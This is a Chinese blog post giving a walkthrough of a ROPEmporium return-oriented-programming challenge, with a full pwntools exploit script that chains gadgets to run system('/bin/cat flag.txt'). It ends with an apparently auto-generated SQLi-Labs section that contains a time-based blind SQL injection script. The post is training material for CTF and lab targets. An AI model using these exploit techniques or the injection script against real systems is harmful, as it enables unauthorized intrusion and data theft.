ROPEmporium通关全解(六)

本文深入探讨了ROP(Return-oriented programming)技术,一种绕过现代操作系统防御的高级内存攻击手法。通过ROPEmporium平台的一系列挑战,逐步解析ROP利用技术,包括如何使用ropgadget工具,组合gadget以实现特定指令的执行,最终完成攻击目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。

操作

先看一下基本信息
在这里插入图片描述然后载入r2分析
在这里插入图片描述在这里插入图片描述分别看看pwnme和usefulFunction
在这里插入图片描述在这里插入图片描述可以看到这些结构和之前的关卡基本相同
那覆盖rsp所需的偏移量呢?
可以自己做一遍
这里直接给出答案,偏移量还是40字节
然后使用ropgadget找到有用的gadget
在这里插入图片描述
首先我们要找到一个gadget用于将字符串写入内存
mov适合的似乎只有下面这一条
在这里插入图片描述如果用了这一条,那么下一个要解决的问题就是怎么将值写入r10、r11寄存器呢
似乎没有可直接写的办法,这时候我们常用的解决办法就是组合多个gadget以将值写入r10为例,我们看看该如何操作
那么这里就需要注意了,按照前面的默认命令,其实ropgadget的搜索深度是10
在这里插入图片描述既然我们需要组合多个gadget,既然越多越多,所以我们可以加上—depth 20,将深度设为20
在这里插入图片描述首先清空r11,有两个办法,要么置零,要么与自身异或
我们看看gadget里有没有符合的
在这里插入图片描述找到了
接下来把地址pop到r12里
对应的gadget为
在这里插入图片描述前面r11已经是0了,我们将r12与r11异或,这样其实就相当于间接地使用了mov,将值写入了r11
对应的gadget为
在这里插入图片描述然后使用xchg交换r11和r10寄存器的值,这样就相当于将地址写到了r10寄存器中
这样就实现了我们的目的
做完这部分工作之后,我们只需pop rdi,ret,字符串的地址作为system()参数传入,再调用system()就可以了
完整代码在6.py

from pwn import *


def place_address(address):
    payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
    payload += p64(0) # Unused pop r14
    payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
    payload += p64(address)
    payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
    payload += p64(0) # Unused pop r12
    payload += p64(0x0000000000400840) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
    payload += p64(0) # Unused pop r15
    return payload

def place_data(data):
    payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
    payload += p64(0) # Unused pop r14
    payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
    payload += data # String to be putted
    payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
    payload += p64(0) # Unused pop r12
    return payload

def write_data(string, address):
    while len(string) % 8 != 0:
          string += "\x00"

    splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
    payload = ""

    for i in range(len(splitted_string)):
        # Put address into r10 register
        payload += place_address(address + (i * 8))

        # Now we have to put actual data in r11
        payload += place_data(splitted_string[i])

        # Write data to address
        payload += p64(0x000000000040084e) # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 
        payload += p64(0) * 2 # Unused pop r13 and pop r12
         
    return payload

offset = cyclic(40)
offset += write_data("/bin/cat flag.txt", 0x601050)
offset += p64(0x00000000004008c3)
offset += p64(0x601050)
offset += p64(0x00400810)

print(offset)


运行如图

在这里插入图片描述

### 关于 SQLi-Labs 的全面解决方案 SQLi-Labs 是一款经典的 Web 安全学习工具,主要用于练习和掌握 SQL 注入技术。以下是针对 SQLi-Labs 靶场的全部关卡解决方案概述。 #### 一、基础环境搭建 在开始解决各个关卡之前,需要确保靶场已成功部署并运行正常。可以通过以下方式完成安装: - 下载 SQLi-Labs 源码包,并将其放置到本地服务器的 `www` 或者 `htdocs` 文件夹下。 - 启动 Apache 和 MySQL 服务后,在浏览器中输入地址 `http://127.0.0.1/` 访问站点[^2]。 如果遇到权限问或者无法创建临时文件的情况,则需调整目标目录的读写权限设置[^3]。 #### 二、各关卡解析思路概览 ##### Less-1 到 Less-4 这些初级目主要考察基本的手工注入技巧以及如何利用单引号闭合查询条件来绕过验证机制。例如,在第32关里提到的方法同样适用于此阶段——即尝试向参数附加特殊字符如 `%df`,进而观察返回结果的变化情况从而推测内部逻辑结构[^1]。 ##### 中级挑战 (Less-5 至 Less-16) 随着难度增加,中级部分引入了更多复杂的场景比如时间延迟型盲注(Time-based Blind Injection),布尔型盲注(Boolean-based Blind Injection)等概念。对于这类问通常采用如下策略: ###### 时间基线测试法 当面对不可见反馈信息时,可通过构造特定payload让数据库执行耗时操作以间接获知某些细节。举个例子来说就是下面这个Python脚本片段展示了如何去探测当前使用的DBMS版本号的一部分内容: ```python import time import requests def get_db_version(): version = "" index = 1 while True: found_char = False for char_code in range(33, 126): # ASCII printable characters payload = f"' OR IF(SUBSTRING(@@version,{index},1)=CHAR({char_code}),SLEEP(5),NULL)-- " start_time = time.time() try: res = requests.get(f"http://target-site.com/vulnerable-page?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: version += chr(char_code) print(f"[+] Found character: {chr(char_code)}") index += 1 found_char = True break except Exception as e: pass if not found_char: break return version print(get_db_version()) ``` 上述代码通过不断改变SUBSTRING函数中的位置索引来逐字提取数据表的名字或者其他敏感资料[^4]。 ##### 高阶难 (Beyond Level 16) 更高层次的任务往往涉及到联合查询 UNION SELECT ,堆叠式多条命令 Stacked Queries 及其他高级手法的应用场合。此时除了要具备扎实的基础理论功底之外还需要灵活运用各种编程语言编写自动化攻击程序辅助分析过程。 --- ### 注意事项 尽管本文提供了大量实用的技术指导方针,但在实际动手实践过程中仍需注意安全伦理规范,仅限于授权范围内的渗透测试活动之中应用所学知识技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值